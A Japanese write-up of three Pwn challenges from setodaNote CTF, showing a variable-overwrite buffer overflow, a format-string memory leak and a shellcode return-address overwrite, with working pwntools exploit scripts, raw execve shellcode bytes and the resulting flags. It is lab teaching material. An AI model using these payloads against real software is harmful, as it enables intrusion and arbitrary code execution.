setodaNote CTF Writeup (Pwn)
この記事は setodaNote CTF のPwnジャンルのWriteupです。
tkys_let_die (100pts, 227solves)
WebブラウザからアクセスできるLinuxターミナルにアクセスして解く問題。配布された問題ファイルは、実行ファイルとソースコード。
ncでアクセスすると文字をデータを入力できる。
user@81d81c2295af:~$ nc 10.1.1.10 13020 {} {} ! ! ! II II ! ! ! ! I__I__I_II II_I__I__I ! I_/|__|__|_|| ||_|__|__|\_I ! /|_/| | | || || | | |\_|\ ! .--. I//| | | | || || | | | |\\I .--. /- \ ! /|/ | | | | || || | | | | \|\ ! /= \ \=__ / I//| | | | | || || | | | | |\\I \-__ / } { ! /|/ | | | | | || || | | | | | \|\ ! } { {____} I//| | | | | | || || | | | | | |\\I {____} _!__!__|= |=/|/ | | | | | | || || | | | | | | \|\=| |__!__!_ _I__I__| ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\||- |__I__I_ -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|- | | | || | | | | | | | || || | | | | | | | || | | | | | |= || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||= | | | | | |- || | | | | | | | || || | | | | | | | ||- | | | _|__|__| ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_|| |__|__|_ -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|- | | |- || | | | | | | | || || | | | | | | | ||= | | | ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~ You'll need permission to pass. What's your name? > aaaaaa Gate is close. Goodbay aaaaaa.
Cのソースコードが提供されているので、ソースコードを見てみる。(ASCIIアートの部分は省略した)
#include <stdio.h> #include <string.h> #include <stdlib.h> void printFlag(void) { system("/bin/cat ./flag"); } int main(void) { char gate[6]="close"; char name[16]=".."; printf("You'll need permission to pass. What's your name?\n> "); scanf("%32[^\n]", name); if (strcmp(gate,"open")==0) { printFlag(); }else{ printf("Gate is %s.\n", gate); printf("Goodbay %s.\n", name); } return 0; }
変数 gate
を close
からopen
に上書きできれば勝ち。
scanfで32bytesまでデータを取得し変数 name
にデータを格納しているが、変数 name
は16bytes分しか確保されてないので、buffer overflowの脆弱性がある。
Metasploitに付属ツールであるpattern_create.rbを使って検査用のパターンを32byte分作る
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 32 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab
これを入力してみる。
You'll need permission to pass. What's your name? > Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab Gate is 8Aa9Ab. Goodbay Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab.
Gateの値は 8Aa9Ab
となったので、同じくMetasploitに付属ツールであるpattern_offset.rbを使って、この文字列のoffsetを調べる。
$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 8Aa9 [*] Exact match at offset 26
つまり、26個の適当なデータのあとに"open"をつけることで、変数gate
をoeen
に書き換えられる。
user@81d81c2295af:~$ python -c 'print "A"*26+"open"' | nc 10.1.1.10 13020 <..snip..> You'll need permission to pass. What's your name? > ============================= GREAT! GATE IS OPEN!! >> Flag is flag{Alohomora} << *-*-*-*-*-*-*-*-*-*-*-* =============================
1989 (200pts, 81solves)
WebブラウザからアクセスできるLinuxターミナルにアクセスして解く問題。配布された問題ファイルはなし。
ncでアクセスすると文字をデータを入力し、入力した内容を表示するようになっている。
user@11ebe1d35999:~$ nc 10.1.1.10 13030 =========================================================== _______ ________ __ ____ _ _ / ____\ \ / / ____| /_ |___ \| || | | | \ \ /\ / /| |__ ______ | | __) | || |_ | | \ \/ \/ / | __| |______| | ||__ <|__ _| | |____ \ /\ / | |____ | |___) | | | \_____| \/ \/ |______| |_|____/ |_| ========================================================== | flag | [0x56621060] >> flag is here << | Ready > aaaaaaaaaa Your Inpur : aaaaaaaaaa aaaaaaaaaa
CWE-134はformat strings bugだし、そのまま入力した文字が返ってくるので、特に入力値をチェックしないでprintfを使用してそう。printfのフォーマットストリング (%x) を入れてみると、無事にメモリの情報が読み出せた。
Ready > %x.%x.%x.%x.%x.%x.%x.%x.%x.%x Your Inpur : fff1fdd0.fff201d8.565b0306.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e78
printfは %N$s
とすることで、スタックのN word先(1word = 4bytes。上記の結果であれば、1word先が fff1fdd0
、4word先が252e7825
)に記録されているアドレスのデータを文字列として読み込むことができる。例えば上記であれば、0x252e7825のアドレスに記録されているデータを文字列として表示することができる。
入力された%
は0x25, x
は0x78, .
は0x2eなので、上記の出力されたメモリの情報を見ると4個先に入力した入力されているデータが格納されていることがわかる。
よって、[addr]
に表示されているアドレスに格納されているFLAGの文字列を %4%s
を用いて表示することができる。
ASLRが有効のためFLAGのアドレスがアクセスするたびに毎回変わるので、プログラムを書いてFLAGのアドレスを動的に読み込んでpayloadを生成する。
from pwn import * import re io = remote('10.1.1.10', 13030) msg = io.recvuntil('Ready > ') print(msg.decode()) addr_str = re.findall(r'\[0x([0-9a-f]{8})\]', msg.decode())[0] addr = bytes.fromhex(addr_str)[::-1] payload = addr + '%4$s\n'.encode() io.send(payload) print(io.recv(2048)) io.close()
$ python3 exploit.py [+] Opening connection to 10.1.1.10 on port 13030: Done =========================================================== _______ ________ __ ____ _ _ / ____\ \ / / ____| /_ |___ \| || | | | \ \ /\ / /| |__ ______ | | __) | || |_ | | \ \/ \/ / | __| |______| | ||__ <|__ _| | |____ \ /\ / | |____ | |___) | | | \_____| \/ \/ |______| |_|____/ |_| ========================================================== | flag | [0x5664d060] >> flag is here << | Ready > b'Your Inpur : `\xd0dVflag{Homenum_Revelio_1989}\n' [*] Closed connection to 10.1.1.10 port 13030
shellcode (300pts, 51solves)
WebブラウザからアクセスできるLinuxターミナルにアクセスして解く問題。配布された問題ファイルは実行ファイル。
ncでアクセスすると、何かのtargetのアドレスが表示され、データを入力できる。
user@30a845725d17:~$ nc 10.1.1.10 13050 | target | [0x7ffea2befe20] | Well. Ready for the shellcode? > aaaaaaaa aaaaaaaa
とりあえず挙動がわからないので、配布された問題の実行ファイルを解析する。とりあえずfileコマンド。
$ file shellcode shellcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dfb33311207161fab6bf4b8dcd84364df9b280a, for GNU/Linux 3.2.0, not stripped
64bitのELFファイル
Ghidraで見てみる。Ghidraはデコンパイルが使えるので、mainの処理をデコンパイルしてみる。
undefined8 main(void) { char local_58 [80]; setvbuf(stdout,local_58,2,0x50); puts(" |"); printf("target | [%p]\n",local_58); puts(" |"); printf("Well. Ready for the shellcode?\n> "); __isoc99_scanf("%[^\n]",local_58); puts(local_58); return 0; }
これにより以下のことがわかる。
- アクセスした時に表示されたtargetのアドレスは、入力したデータを格納するための変数(buffer)のアドレス
- bufferの長さは80bytes
- 入力したデータの長さを検査していない -> Buffer Overflowの脆弱性あり
よって、bufferにshellcodeを格納し、main関数からreturnする先のアドレスをbufferのアドレスに書き換えることでshellcodeを実行できる。
今回作成したのは以下のようなexploitコード。
returnアドレスは、stackの入力したデータを格納するための変数(buffer)のアドレスから80byte+8byteの位置にある^1 ので、80byteのバッファにshellcodeとpadding用のデータを入れて、さらに8byteのpadding用のデータを入れて、書き換えるアドレスをpayloadとして作る。(わかりにくかったら、ローカルでgdbを使ってデバッグして確認しながら進めると良い
shellcodeは、http://shell-storm.org/shellcode/files/shellcode-806.php で公開されているものを使った。
#/usr/bin/env python3 from pwn import * import re io = remote('10.1.1.10', 13050) #io = process('./shellcode') msg = io.recvuntil('> ') print(msg.decode()) addr_str = re.findall(r'\[0x([0-9a-f]+)\]', msg.decode())[0] addr = bytes.fromhex(addr_str)[::-1] + b'\x00\x00' shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" payload = shellcode + b'A'*(80-len(shellcode)) + b'B'*8 + addr io.sendline(payload) io.interactive()
実行すると shellが取れてflagが見れる。
user@d450f781413a:~$ python3 exploit.py [+] Opening connection to 10.1.1.10 on port 13050: Done | target | [0x7fffae08f050] | Well. Ready for the shellcode? > [*] Switching to interactive mode 1\xc0H\xbbѝ\x96\x91Ќ\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBP\xf\xae\xff\x7f $ whoami user $ ls /home/user flag shellcode $ cat /home/user/flag flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}